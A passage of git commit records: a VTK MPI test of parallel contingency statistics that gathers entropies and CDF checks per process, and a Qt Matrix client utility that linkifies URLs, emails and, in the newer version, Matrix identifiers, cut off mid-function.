= 0; c < nVariables; ++ c )\n    {\n    intArray[c] = vtkIntArray::New();\n    intArray[c]->SetNumberOfComponents( 1 );\n    intArray[c]->SetName( columnNames[c] );\n\n    for ( int r = 0; r < args->nVals; ++ r )\n      {\n      intArray[c]->InsertNextValue( static_cast<int>( round( vtkMath::Gaussian() * args->span ) ) );\n      }\n    \n    inputData->AddColumn( intArray[c] );\n    intArray[c]->Delete();\n    }\n\n  \/\/ Entropies in the summary table should normally be retrieved as follows:\n  \/\/   column 2: H(X,Y)\n  \/\/   column 3: H(Y|X)\n  \/\/   column 4: H(X|Y)\n  int iEntropies[] = { 2,\n                       3,\n                       4 }; \n  int nEntropies = 3; \/\/ correct number of entropies reported in the summary table\n  double* H = new double[nEntropies];\n\n  \/\/ ************************** Contingency Statistics ************************** \n\n  \/\/ Synchronize and start clock\n  com->Barrier();\n  vtkTimerLog *timer=vtkTimerLog::New();\n  timer->StartTimer();\n\n  \/\/ Instantiate a parallel contingency statistics engine and set its ports\n  vtkPContingencyStatistics* pcs = vtkPContingencyStatistics::New();\n  pcs->SetInput( 0, inputData );\n  vtkMultiBlockDataSet* outputMetaDS = vtkMultiBlockDataSet::SafeDownCast( pcs->GetOutputDataObject( 1 ) );\n\n  \/\/ Select column pairs (uniform vs. uniform, normal vs. normal)\n  pcs->AddColumnPair( columnNames[0], columnNames[1] );\n\n  \/\/ Test (in parallel) with Learn, Derive, and Assess options turned on\n  pcs->SetLearn( true );\n  pcs->SetDerive( true );\n  pcs->SetAssess( true );\n  pcs->Update();\n\n    \/\/ Synchronize and stop clock\n  com->Barrier();\n  timer->StopTimer();\n\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    cout << \"\\n## Completed parallel calculation of contingency statistics (with assessment):\\n\"\n         << \"   Wall time: \"\n         << timer->GetElapsedTime()\n         << \" sec.\\n\";\n    }\n\n  \/\/ Verify that information entropies on all processes make sense\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    cout << \"\\n## Verifying that information entropies are consistent on all processes.\\n\";\n    }\n\n  vtkTable* outputSummary = vtkTable::SafeDownCast( outputMetaDS->GetBlock( 0 ) );\n  vtkTable* outputContingency = vtkTable::SafeDownCast( outputMetaDS->GetBlock( 1 ) );\n\n  int testIntValue = 0;\n  double testDoubleValue = 0;\n\n  \/\/ Synchronize\n  com->Barrier();\n\n  vtkIdType card = outputContingency->GetValueByName( 0, \"Cardinality\" ).ToInt();\n  cout << \"   On process \"\n       << com->GetLocalProcessId()\n       << \" ( grand total: \"\n       << card\n       << \" ): \";\n\n  testIntValue = outputSummary->GetNumberOfColumns();\n\n  if ( testIntValue != nEntropies + 2 )\n    {\n    vtkGenericWarningMacro(\"Reported an incorrect number of columns in the summary table: \" \n                           << testIntValue \n                           << \" != \" \n                           << nEntropies + 2\n                           << \".\");\n    *(args->retVal) = 1;\n    }\n  else\n    {\n    \/\/ For each row in the summary table, fetch variable names and information entropies\n    for ( vtkIdType r = 0; r < outputSummary->GetNumberOfRows(); ++ r )\n      {\n      \/\/ Variable names\n      cout << \"(\"\n           << outputSummary->GetValue( r, 0 ).ToString()\n           << \", \"\n           << outputSummary->GetValue( r, 1 ).ToString()\n           << \"):\";\n      \n      \n      \/\/ Information entropies\n      for ( vtkIdType c = 0; c < nEntropies; ++ c )\n        {\n        H[c] = outputSummary->GetValue( r, iEntropies[c] ).ToDouble();\n\n        cout << \" \"\n             << outputSummary->GetColumnName( iEntropies[c] )\n             << \"=\"\n             << H[c];\n        }\n      cout << \"\\n\";\n\n      \/\/ Make sure that H(X,Y) > H(Y|X)+ H(X|Y)\n      testDoubleValue = H[1] + H[2]; \/\/ H(Y|X)+ H(X|Y)\n\n      if ( testDoubleValue > H[0] )\n        {\n        vtkGenericWarningMacro(\"Reported inconsistent information entropies: H(X,Y) = \" \n                               << H[0]\n                               << \" < \" \n                               << testDoubleValue \n                               << \" = H(Y|X)+ H(X|Y).\");\n        *(args->retVal) = 1;\n        }\n      }\n    }\n\n  \/\/ Synchronize\n  com->Barrier();\n\n  \/\/ Verify that the broadcasted reduced contingency tables all result in a CDF value of 1\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    cout << \"\\n## Verifying that broadcasted CDF sum to 1 on all processes.\\n\";\n    }\n  \n  vtkIdTypeArray* keys = vtkIdTypeArray::SafeDownCast( outputContingency->GetColumnByName( \"Key\" ) );\n  if ( ! keys )\n    {\n    cout << \"*** Error: \"\n         << \"Empty contingency table column 'Key' on process \"\n         << com->GetLocalProcessId()\n         << \".\\n\";\n    }\n\n  vtkStdString proName = \"P\";\n  vtkDoubleArray* prob = vtkDoubleArray::SafeDownCast( outputContingency->GetColumnByName( proName ) );\n  if ( ! prob )\n    {\n    cout << \"*** Error: \"\n         << \"Empty contingency table column '\"\n         << proName\n         << \"' on process \"\n         << com->GetLocalProcessId()\n         << \".\\n\";\n    }\n\n  \/\/ Calculate local CDFs\n  double cdf_l = 0.;\n  vtkIdType key = 0;\n  int n = outputContingency->GetNumberOfRows();\n  vtkIdType k;\n\n  \/\/ Skip first entry which is reserved for the cardinality\n  for ( vtkIdType r = 1; r < n; ++ r )\n    {\n    k = keys->GetValue( r );\n    \n    if ( k == key )\n      {\n      cdf_l += prob->GetValue( r );\n      }\n    }\n\n  \/\/ Gather all local CDFs\n  int numProcs = controller->GetNumberOfProcesses();\n  double* cdf_g = new double[numProcs];\n  com->AllGather( &cdf_l, \n                  cdf_g, \n                  1 );\n\n  \/\/ Print out all CDFs\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    for ( int i = 0; i < numProcs; ++ i )\n      {\n      cout << \"   On process \"\n           << i\n           << \", CDF = \"\n           << cdf_g[i]\n           << \"\\n\";\n      \n      if ( fabs ( 1. - cdf_g[i] ) > args->absTol )\n        {\n        vtkGenericWarningMacro(\"Incorrect CDF.\");\n        *(args->retVal) = 1;\n        }\n      }\n    }\n  \n#if DEBUG_CONTINGENCY_TABLE\n  outputContingency->Dump();\n#endif \/\/ DEBUG_CONTINGENCY_TABLE\n\n  \/\/ Clean up\n  delete [] cdf_g;\n  pcs->Delete();\n  inputData->Delete();\n  timer->Delete();\n}\n\n\/\/----------------------------------------------------------------------------\nint main( int argc, char** argv )\n{\n  \/\/ **************************** MPI Initialization *************************** \n  vtkMPIController* controller = vtkMPIController::New();\n  controller->Initialize( &argc, &argv );\n\n  \/\/ If an MPI controller was not created, terminate in error.\n  if ( ! controller->IsA( \"vtkMPIController\" ) )\n    {\n    vtkGenericWarningMacro(\"Failed to initialize a MPI controller.\");\n    controller->Delete();\n    return 1;\n    } \n\n  vtkMPICommunicator* com = vtkMPICommunicator::SafeDownCast( controller->GetCommunicator() );\n\n  \/\/ ************************** Find an I\/O node ******************************** \n  int* ioPtr;\n  int ioRank;\n  int flag;\n\n  MPI_Attr_get( MPI_COMM_WORLD, \n                MPI_IO,\n                &ioPtr,\n                &flag );\n\n  if ( ( ! flag ) || ( *ioPtr == MPI_PROC_NULL ) )\n    {\n    \/\/ Getting MPI attributes did not return any I\/O node found.\n    ioRank = MPI_PROC_NULL;\n    vtkGenericWarningMacro(\"No MPI I\/O nodes found.\");\n\n    \/\/ As no I\/O node was found, we need an unambiguous way to report the problem.\n    \/\/ This is the only case when a testValue of -1 will be returned\n    controller->Finalize();\n    controller->Delete();\n    \n    return -1;\n    }\n  else \n    {\n    if ( *ioPtr == MPI_ANY_SOURCE )\n      {\n      \/\/ Anyone can do the I\/O trick--just pick node 0.\n      ioRank = 0;\n      }\n    else\n      {\n      \/\/ Only some nodes can do I\/O. Make sure everyone agrees on the choice (min).\n      com->AllReduce( ioPtr,\n                      &ioRank,\n                      1,\n                      vtkCommunicator::MIN_OP );\n      }\n    }\n\n  \/\/ ************************** Initialize test ********************************* \n  if ( com->GetLocalProcessId() == ioRank )\n    {\n    cout << \"\\n# Process \"\n         << ioRank\n         << \" will be the I\/O node.\\n\";\n    }\n      \n  \/\/ Check how many processes have been made available\n  int numProcs = controller->GetNumberOfProcesses();\n  if ( controller->GetLocalProcessId() == ioRank )\n    {\n    cout << \"\\n# Running test with \"\n         << numProcs\n         << \" processes...\\n\";\n    }\n\n  \/\/ Parameters for regression test.\n  int testValue = 0;\n  RandomContingencyStatisticsArgs args;\n  args.nVals = 1000000;\n  args.span = 50.;\n  args.absTol = 1.e-6;\n  args.retVal = &testValue;\n  args.ioRank = ioRank;\n  args.argc = argc;\n  args.argv = argv;\n\n  \/\/ Execute the function named \"process\" on both processes\n  controller->SetSingleMethod( RandomContingencyStatistics, &args );\n  controller->SingleMethodExecute();\n\n  \/\/ Clean up and exit\n  if ( com->GetLocalProcessId() == ioRank )\n    {\n    cout << \"\\n# Test completed.\\n\\n\";\n    }\n\n  controller->Finalize();\n  controller->Delete();\n  \n  return testValue;\n}\n<commit_msg>ENH: better testing and reporting (entropies, per processor, etc.)<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    TestRandomPContingencyStatisticsMPI.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*\n * Copyright 2009 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\/\/ .SECTION Thanks\n\/\/ Thanks to Philippe Pebay for implementing this test.\n\n#include <mpi.h>\n\n#include \"vtkContingencyStatistics.h\"\n#include \"vtkPContingencyStatistics.h\"\n\n#include \"vtkDoubleArray.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkMath.h\"\n#include \"vtkMPIController.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkStdString.h\"\n#include \"vtkTable.h\"\n#include \"vtkTimerLog.h\"\n#include \"vtkVariantArray.h\"\n\n\/\/ For debugging purposes, output contingency table, which may be huge: it has the size O(span^2).\n#define DEBUG_CONTINGENCY_TABLE 0\n\nstruct RandomContingencyStatisticsArgs\n{\n  int nVals;\n  double span;\n  double absTol;\n  int* retVal;\n  int ioRank;\n  int argc;\n  char** argv;\n};\n\n\/\/ This will be called by all processes\nvoid RandomContingencyStatistics( vtkMultiProcessController* controller, void* arg )\n{\n  \/\/ Get test parameters\n  RandomContingencyStatisticsArgs* args = reinterpret_cast<RandomContingencyStatisticsArgs*>( arg );\n  *(args->retVal) = 0;\n\n  \/\/ Get MPI communicator\n  vtkMPICommunicator* com = vtkMPICommunicator::SafeDownCast( controller->GetCommunicator() );\n\n  \/\/ Get local rank\n  int myRank = com->GetLocalProcessId();\n\n  \/\/ Seed random number generator\n  vtkMath::RandomSeed( static_cast<int>( time( NULL ) ) * ( myRank + 1 ) );\n\n  \/\/ Generate an input table that contains samples of mutually independent discrete random variables\n  int nVariables = 2;\n  vtkIntArray* intArray[2];\n  vtkStdString columnNames[] = { \"Rounded Normal 0\", \n                                 \"Rounded Normal 1\" };\n  \n  vtkTable* inputData = vtkTable::New();\n  \/\/ Discrete rounded normal samples\n  for ( int c = 0; c < nVariables; ++ c )\n    {\n    intArray[c] = vtkIntArray::New();\n    intArray[c]->SetNumberOfComponents( 1 );\n    intArray[c]->SetName( columnNames[c] );\n\n    for ( int r = 0; r < args->nVals; ++ r )\n      {\n      intArray[c]->InsertNextValue( static_cast<int>( round( vtkMath::Gaussian() * args->span ) ) );\n      }\n    \n    inputData->AddColumn( intArray[c] );\n    intArray[c]->Delete();\n    }\n\n  \/\/ Entropies in the summary table should normally be retrieved as follows:\n  \/\/   column 2: H(X,Y)\n  \/\/   column 3: H(Y|X)\n  \/\/   column 4: H(X|Y)\n  int iEntropies[] = { 2,\n                       3,\n                       4 }; \n  int nEntropies = 3; \/\/ correct number of entropies reported in the summary table\n\n  \/\/ ************************** Contingency Statistics ************************** \n\n  \/\/ Synchronize and start clock\n  com->Barrier();\n  vtkTimerLog *timer=vtkTimerLog::New();\n  timer->StartTimer();\n\n  \/\/ Instantiate a parallel contingency statistics engine and set its ports\n  vtkPContingencyStatistics* pcs = vtkPContingencyStatistics::New();\n  pcs->SetInput( 0, inputData );\n  vtkMultiBlockDataSet* outputMetaDS = vtkMultiBlockDataSet::SafeDownCast( pcs->GetOutputDataObject( 1 ) );\n\n  \/\/ Select column pairs (uniform vs. uniform, normal vs. normal)\n  pcs->AddColumnPair( columnNames[0], columnNames[1] );\n\n  \/\/ Test (in parallel) with Learn, Derive, and Assess options turned on\n  pcs->SetLearn( true );\n  pcs->SetDerive( true );\n  pcs->SetAssess( true );\n  pcs->Update();\n\n    \/\/ Synchronize and stop clock\n  com->Barrier();\n  timer->StopTimer();\n\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    cout << \"\\n## Completed parallel calculation of contingency statistics (with assessment):\\n\"\n         << \"   Wall time: \"\n         << timer->GetElapsedTime()\n         << \" sec.\\n\";\n    }\n\n  \/\/ Verify that information entropies on all processes make sense\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    cout << \"\\n## Verifying that information entropies are consistent on all processes.\\n\";\n    }\n\n  vtkTable* outputSummary = vtkTable::SafeDownCast( outputMetaDS->GetBlock( 0 ) );\n  vtkTable* outputContingency = vtkTable::SafeDownCast( outputMetaDS->GetBlock( 1 ) );\n\n  int testIntValue = 0;\n  double testDoubleValue = 0;\n  int numProcs = controller->GetNumberOfProcesses();\n\n  testIntValue = outputSummary->GetNumberOfColumns();\n\n  if ( testIntValue != nEntropies + 2 )\n    {\n    vtkGenericWarningMacro(\"Reported an incorrect number of columns in the summary table: \" \n                           << testIntValue \n                           << \" != \" \n                           << nEntropies + 2\n                           << \".\");\n    *(args->retVal) = 1;\n    }\n  else\n    {\n    \/\/ For each row in the summary table, fetch variable names and information entropies\n    for ( vtkIdType r = 0; r < outputSummary->GetNumberOfRows(); ++ r )\n      {\n      \/\/ Get local information entropies from summary table\n      double* H_l = new double[nEntropies];\n      for ( vtkIdType c = 0; c < nEntropies; ++ c )\n        {\n        H_l[c] = outputSummary->GetValue( r, iEntropies[c] ).ToDouble();\n        }\n\n      \/\/ Gather all local entropies\n      double* H_g = new double[nEntropies * numProcs];\n      com->AllGather( H_l, \n                      H_g, \n                      nEntropies );\n      \n      \/\/ Print out all entropies\n      if ( com->GetLocalProcessId() == args->ioRank )\n        {\n        \/\/ Get variable names\n        cout << \"   (X,Y) = (\"\n             << outputSummary->GetValue( r, 0 ).ToString()\n             << \", \"\n             << outputSummary->GetValue( r, 1 ).ToString()\n             << \"), grand total: \"\n             << outputContingency->GetValueByName( 0, \"Cardinality\" ).ToInt()\n             << \",\\n\";\n        \n        for ( int i = 0; i < numProcs; ++ i )\n          {\n          cout << \"     On process \"\n               << i;\n\n          for ( vtkIdType c = 0; c < nEntropies; ++ c )\n            {\n            cout << \", \"\n                 << outputSummary->GetColumnName( iEntropies[c] )\n                 << \"=\"\n                 << H_g[nEntropies * i + c];\n            }\n          \n          cout << \"\\n\";\n          \n          \/\/ Make sure that H(X,Y) > H(Y|X)+ H(X|Y)\n          testDoubleValue = H_g[nEntropies * i + 1] + H_g[nEntropies * i + 2]; \/\/ H(Y|X)+ H(X|Y)\n          \n          if ( testDoubleValue > H_g[nEntropies * i] )\n            {\n            vtkGenericWarningMacro(\"Reported inconsistent information entropies: H(X,Y) = \" \n                                   << H_g[nEntropies * i]\n                                   << \" < \" \n                                   << testDoubleValue \n                                   << \" = H(Y|X)+ H(X|Y).\");\n            *(args->retVal) = 1;\n            }\n          }\n        }\n\n      \/\/ Clean up\n      delete [] H_l;\n      delete [] H_g;\n      }\n    }\n\n  \/\/ Verify that the broadcasted reduced contingency tables all result in a CDF value of 1\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    cout << \"\\n## Verifying that broadcasted CDF sum to 1 on all processes.\\n\";\n    }\n  \n  vtkIdTypeArray* keys = vtkIdTypeArray::SafeDownCast( outputContingency->GetColumnByName( \"Key\" ) );\n  if ( ! keys )\n    {\n    cout << \"*** Error: \"\n         << \"Empty contingency table column 'Key' on process \"\n         << com->GetLocalProcessId()\n         << \".\\n\";\n    }\n\n  vtkStdString proName = \"P\";\n  vtkDoubleArray* prob = vtkDoubleArray::SafeDownCast( outputContingency->GetColumnByName( proName ) );\n  if ( ! prob )\n    {\n    cout << \"*** Error: \"\n         << \"Empty contingency table column '\"\n         << proName\n         << \"' on process \"\n         << com->GetLocalProcessId()\n         << \".\\n\";\n    }\n\n  \/\/ Calculate local CDFs\n  double cdf_l = 0.;\n  vtkIdType key = 0;\n  int n = outputContingency->GetNumberOfRows();\n  vtkIdType k;\n\n  \/\/ Skip first entry which is reserved for the cardinality\n  for ( vtkIdType r = 1; r < n; ++ r )\n    {\n    k = keys->GetValue( r );\n    \n    if ( k == key )\n      {\n      cdf_l += prob->GetValue( r );\n      }\n    }\n\n  \/\/ Gather all local CDFs\n  double* cdf_g = new double[numProcs];\n  com->AllGather( &cdf_l, \n                  cdf_g, \n                  1 );\n\n  \/\/ Print out all CDFs\n  if ( com->GetLocalProcessId() == args->ioRank )\n    {\n    for ( int i = 0; i < numProcs; ++ i )\n      {\n      cout << \"   On process \"\n           << i\n           << \", CDF = \"\n           << cdf_g[i]\n           << \"\\n\";\n      \n      if ( fabs ( 1. - cdf_g[i] ) > args->absTol )\n        {\n        vtkGenericWarningMacro(\"Incorrect CDF.\");\n        *(args->retVal) = 1;\n        }\n      }\n    }\n  \n#if DEBUG_CONTINGENCY_TABLE\n  outputContingency->Dump();\n#endif \/\/ DEBUG_CONTINGENCY_TABLE\n\n  \/\/ Clean up\n  delete [] cdf_g;\n  pcs->Delete();\n  inputData->Delete();\n  timer->Delete();\n}\n\n\/\/----------------------------------------------------------------------------\nint main( int argc, char** argv )\n{\n  \/\/ **************************** MPI Initialization *************************** \n  vtkMPIController* controller = vtkMPIController::New();\n  controller->Initialize( &argc, &argv );\n\n  \/\/ If an MPI controller was not created, terminate in error.\n  if ( ! controller->IsA( \"vtkMPIController\" ) )\n    {\n    vtkGenericWarningMacro(\"Failed to initialize a MPI controller.\");\n    controller->Delete();\n    return 1;\n    } \n\n  vtkMPICommunicator* com = vtkMPICommunicator::SafeDownCast( controller->GetCommunicator() );\n\n  \/\/ ************************** Find an I\/O node ******************************** \n  int* ioPtr;\n  int ioRank;\n  int flag;\n\n  MPI_Attr_get( MPI_COMM_WORLD, \n                MPI_IO,\n                &ioPtr,\n                &flag );\n\n  if ( ( ! flag ) || ( *ioPtr == MPI_PROC_NULL ) )\n    {\n    \/\/ Getting MPI attributes did not return any I\/O node found.\n    ioRank = MPI_PROC_NULL;\n    vtkGenericWarningMacro(\"No MPI I\/O nodes found.\");\n\n    \/\/ As no I\/O node was found, we need an unambiguous way to report the problem.\n    \/\/ This is the only case when a testValue of -1 will be returned\n    controller->Finalize();\n    controller->Delete();\n    \n    return -1;\n    }\n  else \n    {\n    if ( *ioPtr == MPI_ANY_SOURCE )\n      {\n      \/\/ Anyone can do the I\/O trick--just pick node 0.\n      ioRank = 0;\n      }\n    else\n      {\n      \/\/ Only some nodes can do I\/O. Make sure everyone agrees on the choice (min).\n      com->AllReduce( ioPtr,\n                      &ioRank,\n                      1,\n                      vtkCommunicator::MIN_OP );\n      }\n    }\n\n  \/\/ ************************** Initialize test ********************************* \n  if ( com->GetLocalProcessId() == ioRank )\n    {\n    cout << \"\\n# Process \"\n         << ioRank\n         << \" will be the I\/O node.\\n\";\n    }\n      \n  \/\/ Check how many processes have been made available\n  int numProcs = controller->GetNumberOfProcesses();\n  if ( controller->GetLocalProcessId() == ioRank )\n    {\n    cout << \"\\n# Running test with \"\n         << numProcs\n         << \" processes...\\n\";\n    }\n\n  \/\/ Parameters for regression test.\n  int testValue = 0;\n  RandomContingencyStatisticsArgs args;\n  args.nVals = 1000000;\n  args.span = 50.;\n  args.absTol = 1.e-6;\n  args.retVal = &testValue;\n  args.ioRank = ioRank;\n  args.argc = argc;\n  args.argv = argv;\n\n  \/\/ Execute the function named \"process\" on both processes\n  controller->SetSingleMethod( RandomContingencyStatistics, &args );\n  controller->SingleMethodExecute();\n\n  \/\/ Clean up and exit\n  if ( com->GetLocalProcessId() == ioRank )\n    {\n    cout << \"\\n# Test completed.\\n\\n\";\n    }\n\n  controller->Finalize();\n  controller->Delete();\n  \n  return testValue;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n * Copyright (C) 2018 Kitsune Ral <kitsune-ral@users.sf.net>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"util.h\"\n\n#include <QtCore\/QRegularExpression>\n#include <QtCore\/QStandardPaths>\n#include <QtCore\/QDir>\n#include <QtCore\/QStringBuilder>\n\nstatic const auto RegExpOptions =\n    QRegularExpression::CaseInsensitiveOption\n    | QRegularExpression::OptimizeOnFirstUsageOption\n    | QRegularExpression::UseUnicodePropertiesOption;\n\n\/\/ Converts all that looks like a URL into HTML links\nstatic void linkifyUrls(QString& htmlEscapedText)\n{\n    \/\/ regexp is originally taken from Konsole (https:\/\/github.com\/KDE\/konsole)\n    \/\/ full url:\n    \/\/ protocolname:\/\/ or www. followed by anything other than whitespaces,\n    \/\/ <, >, ' or \", and ends before whitespaces, <, >, ', \", ], !, ), :,\n    \/\/ comma or dot\n    \/\/ Note: outer parentheses are a part of C++ raw string delimiters, not of\n    \/\/ the regex (see http:\/\/en.cppreference.com\/w\/cpp\/language\/string_literal).\n    static const QRegularExpression FullUrlRegExp(QStringLiteral(\n            R\"(((www\\.(?!\\.)|(https?|ftp|magnet):\/\/)(&(?![lg]t;)|[^&\\s<>'\"])+(&(?![lg]t;)|[^&!,.\\s<>'\"\\]):])))\"\n        ), RegExpOptions);\n    \/\/ email address:\n    \/\/ [word chars, dots or dashes]@[word chars, dots or dashes].[word chars]\n    static const QRegularExpression EmailAddressRegExp(QStringLiteral(\n            R\"((mailto:)?(\\b(\\w|\\.|-)+@(\\w|\\.|-)+\\.\\w+\\b))\"\n        ), RegExpOptions);\n\n    \/\/ NOTE: htmlEscapedText is already HTML-escaped! No literal <,>,&\n\n    htmlEscapedText.replace(EmailAddressRegExp,\n                 QStringLiteral(R\"(<a href=\"mailto:\\2\">\\1\\2<\/a>)\"));\n    htmlEscapedText.replace(FullUrlRegExp,\n                 QStringLiteral(R\"(<a href=\"\\1\">\\1<\/a>)\"));\n}\n\nQString QMatrixClient::prettyPrint(const QString& plainText)\n{\n    auto pt = QStringLiteral(\"<span style='white-space:pre-wrap'>\") +\n            plainText.toHtmlEscaped() + QStringLiteral(\"<\/span>\");\n    pt.replace('\\n', QStringLiteral(\"<br\/>\"));\n\n    linkifyUrls(pt);\n    return pt;\n}\n\nQString QMatrixClient::cacheLocation(const QString& dirName)\n{\n    const QString cachePath =\n        QStandardPaths::writableLocation(QStandardPaths::CacheLocation)\n            % '\/' % dirName % '\/';\n    QDir dir;\n    if (!dir.exists(cachePath))\n        dir.mkpath(cachePath);\n    return cachePath;\n}\n\n\/\/ Tests for function_traits<>\n\n#ifdef Q_CC_CLANG\n#pragma clang diagnostic push\n#pragma ide diagnostic ignored \"OCSimplifyInspection\"\n#endif\nusing namespace QMatrixClient;\n\nint f();\nstatic_assert(std::is_same<fn_return_t<decltype(f)>, int>::value,\n              \"Test fn_return_t<>\");\n\nvoid f1(int);\nstatic_assert(function_traits<decltype(f1)>::arg_number == 1,\n              \"Test fn_arg_number\");\n\nvoid f2(int, QString);\nstatic_assert(std::is_same<fn_arg_t<decltype(f2), 1>, QString>::value,\n              \"Test fn_arg_t<>\");\n\nstruct S { int mf(); };\nstatic_assert(is_callable_v<decltype(&S::mf)>, \"Test member function\");\nstatic_assert(returns<int, decltype(&S::mf)>(), \"Test returns<> with member function\");\n\nstruct Fo { int operator()(); };\nstatic_assert(is_callable_v<Fo>, \"Test is_callable<> with function object\");\nstatic_assert(function_traits<Fo>::arg_number == 0, \"Test function object\");\nstatic_assert(std::is_same<fn_return_t<Fo>, int>::value,\n              \"Test return type of function object\");\n\nstruct Fo1 { void operator()(int); };\nstatic_assert(function_traits<Fo1>::arg_number == 1, \"Test function object 1\");\nstatic_assert(is_callable_v<Fo1>, \"Test is_callable<> with function object 1\");\nstatic_assert(std::is_same<fn_arg_t<Fo1>, int>(),\n              \"Test fn_arg_t defaulting to first argument\");\n\n#if (!defined(_MSC_VER) || _MSC_VER >= 1910)\nstatic auto l = [] { return 1; };\nstatic_assert(is_callable_v<decltype(l)>, \"Test is_callable_v<> with lambda\");\nstatic_assert(std::is_same<fn_return_t<decltype(l)>, int>::value,\n              \"Test fn_return_t<> with lambda\");\n#endif\n\ntemplate <typename T>\nstruct fn_object\n{\n    static int smf(double) { return 0; }\n};\ntemplate <>\nstruct fn_object<QString>\n{\n    void operator()(QString);\n};\nstatic_assert(is_callable_v<fn_object<QString>>, \"Test function object\");\nstatic_assert(returns<void, fn_object<QString>>(),\n              \"Test returns<> with function object\");\nstatic_assert(!is_callable_v<fn_object<int>>, \"Test non-function object\");\n\/\/ FIXME: These two don't work\n\/\/static_assert(is_callable_v<decltype(&fn_object<int>::smf)>,\n\/\/              \"Test static member function\");\n\/\/static_assert(returns<int, decltype(&fn_object<int>::smf)>(),\n\/\/              \"Test returns<> with static member function\");\n\ntemplate <typename T>\nQString ft(T&&);\nstatic_assert(std::is_same<fn_arg_t<decltype(ft<QString>)>, QString&&>(),\n              \"Test function templates\");\n\n#ifdef Q_CC_CLANG\n#pragma clang diagnostic pop\n#endif\n<commit_msg>Linkify Matrix identifiers<commit_after>\/******************************************************************************\n * Copyright (C) 2018 Kitsune Ral <kitsune-ral@users.sf.net>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include \"util.h\"\n\n#include <QtCore\/QRegularExpression>\n#include <QtCore\/QStandardPaths>\n#include <QtCore\/QDir>\n#include <QtCore\/QStringBuilder>\n\nstatic const auto RegExpOptions =\n    QRegularExpression::CaseInsensitiveOption\n    | QRegularExpression::OptimizeOnFirstUsageOption\n    | QRegularExpression::UseUnicodePropertiesOption;\n\n\/\/ Converts all that looks like a URL into HTML links\nstatic void linkifyUrls(QString& htmlEscapedText)\n{\n    \/\/ regexp is originally taken from Konsole (https:\/\/github.com\/KDE\/konsole)\n    \/\/ full url:\n    \/\/ protocolname:\/\/ or www. followed by anything other than whitespaces,\n    \/\/ <, >, ' or \", and ends before whitespaces, <, >, ', \", ], !, ), :,\n    \/\/ comma or dot\n    \/\/ Note: outer parentheses are a part of C++ raw string delimiters, not of\n    \/\/ the regex (see http:\/\/en.cppreference.com\/w\/cpp\/language\/string_literal).\n    \/\/ Note2: yet another pair of outer parentheses are \\1 in the replacement.\n    static const QRegularExpression FullUrlRegExp(QStringLiteral(\n            R\"(((www\\.(?!\\.)|(https?|ftp|magnet):\/\/)(&(?![lg]t;)|[^&\\s<>'\"])+(&(?![lg]t;)|[^&!,.\\s<>'\"\\]):])))\"\n        ), RegExpOptions);\n    \/\/ email address:\n    \/\/ [word chars, dots or dashes]@[word chars, dots or dashes].[word chars]\n    static const QRegularExpression EmailAddressRegExp(QStringLiteral(\n            R\"((mailto:)?(\\b(\\w|\\.|-)+@(\\w|\\.|-)+\\.\\w+\\b))\"\n        ), RegExpOptions);\n    \/\/ An interim liberal implementation of\n    \/\/ https:\/\/matrix.org\/docs\/spec\/appendices.html#identifier-grammar\n    static const QRegularExpression MxIdRegExp(QStringLiteral(\n            R\"((^|[^<>\/])([!#@][-a-z0-9_=\/.]{1,252}:[-.a-z0-9]+))\"\n        ), RegExpOptions);\n\n    \/\/ NOTE: htmlEscapedText is already HTML-escaped! No literal <,>,&\n\n    htmlEscapedText.replace(EmailAddressRegExp,\n                 QStringLiteral(R\"(<a href=\"mailto:\\2\">\\1\\2<\/a>)\"));\n    htmlEscapedText.replace(FullUrlRegExp,\n                 QStringLiteral(R\"(<a href=\"\\1\">\\1<\/a>)\"));\n    htmlEscapedText.replace(MxIdRegExp,\n                 QStringLiteral(R\"(\\1<a href=\"https:\/\/matrix.to\/#\/\\2\">\\2<\/a>)\"));\n}\n\nQString QMatrixClient::prettyPrint(const QString& plainText)\n{\n    auto pt = QStringLiteral(\"<span style='white-space:pre-wrap'>\") +\n            plainText.toHtmlEscaped() + QStringLiteral(\"<\/span>\");\n    pt.replace('\\n', QStringLiteral(\"<br\/>\"));\n\n    linkifyUrls(pt);\n    return 